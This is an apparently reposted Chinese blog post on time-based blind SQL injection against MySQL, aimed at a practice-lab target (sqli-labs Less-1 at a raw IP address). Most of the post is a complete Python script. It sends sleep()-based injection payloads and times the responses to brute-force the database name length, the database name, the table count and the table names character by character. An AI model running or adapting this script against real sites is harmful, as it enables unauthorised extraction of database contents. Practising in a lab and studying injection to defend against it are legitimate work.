猜解数据库(MYSQL)信息
Posted soldierback
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了猜解数据库(MYSQL)信息相关的知识,希望对你有一定的参考价值。
http://43.247.91.228:84/Less-1/?id=1‘ and if (length(database())=8,sleep(5),0) --+ 注:http://43.247.91.228:84/Less-1/为靶场地址,发送该请求,如果数据库名的长度为8则响应会延迟5秒,否则会立 即得到响应(网状状况没那么糟糕的情况下).以下代码为使用SLEEP()延迟注入猜解数据库名长度的PYTHON脚本
import requests url1 = "http://43.247.91.228:84/Less-1/?id=1‘ and if (length(database())=_, sleep(5), 0) --+" url2 = "http://43.247.91.228:84/Less-1/?id=1‘ and if (ascii(substr(database(),_,1))=__, sleep(5), 0) --+" url3 = "http://43.247.91.228:84/Less-1/?id=1‘ and if ((select count(*) from information_schema.tables where table_schema=_)=__, sleep(5), 0) --+" url4 = "http://43.247.91.228:84/Less-1/?id=1‘ and if (ascii(substr((select table_name from information_schema.tables where table_schema=_ limit __,1),___,1))=____, sleep(5),0 ) --+" ################################################################ # 函数功能:猜解数据库名的长度 # 参数意义:n 长度范围 # 返回结果:成功:数据库名长度 # 失败:0 ################################################################ def getLength(n): for i in range(1, n + 1): payload = url1.format( _ = i) print (payload) ans = requests.get(payload) #响应时间大于等于5秒说明猜解正确 if (ans.elapsed.seconds >= 5): return (i) break else: continue return (0) ################################################################ # 函数功能:猜解数据库名 # 参数意义:length 数据库名的长度 # 返回结果:成功:数据库名字符串 # 失败:空字符串 ################################################################ def getName(length): database = "" #数据库名初始化为空字符串 for i in range(1, length + 1): for j in range(1, 128): payload = url2.format( _ = i, __ = j) print (payload) ans = requests.get(payload) #响应时间大于等于5秒说明猜解正确 if (ans.elapsed.seconds >= 5): database += chr(j) break else: continue return (database) ################################################################ # 函数功能:猜解数据库中表的数量 # 参数意义:database 数据库名 # n 表的数量范围 # 返回结果:成功:表的数量 # 失败:0 ################################################################ def getTablesNum(database, n): for i in range(1, n + 1): payload = url3.format( _ = " ‘"+ database + "‘", __ = i) print (payload) ans = requests.get(payload) if (ans.elapsed.seconds >= 5): return (i) break else: continue return (0) ################################################################ # 函数功能:猜解表名 # 参数意义:database 数据库名 # tablesNum 表的数量 # tableNameLength 表名的长度范围 # 返回结果:所有表名的list数组 ################################################################ def getTablesName(database, tablesNum, tableNameLength): table = "" tables = [] for i in range(1, tablesNum + 1): for j in range(1, tableNameLength + 1): for k in range(1, 128): payload = url4.format( _ = "‘" + database + "‘", __ = i-1, ___ = j, ____ = k) print (payload) ans = requests.get(payload) if (ans.elapsed.seconds >= 5): table += chr(k) break else: continue tables.append(table) table = "" return (tables) ################################################################ # # 主函数 # ################################################################ if __name__=="__main__": length = getLength(10) database = getName(length) tablesNum = getTablesNum(database, 10) tables = getTablesName(database, tablesNum, 8) print ("数据库名的长度为:" + str(length)) print ("数据库名为:" + database) print ("数据库中表的数量为:" + str(tablesNum)) print ("所有表如下:") for table in tables: print (table)
以上是关于猜解数据库(MYSQL)信息的主要内容,如果未能解决你的问题,请参考以下文章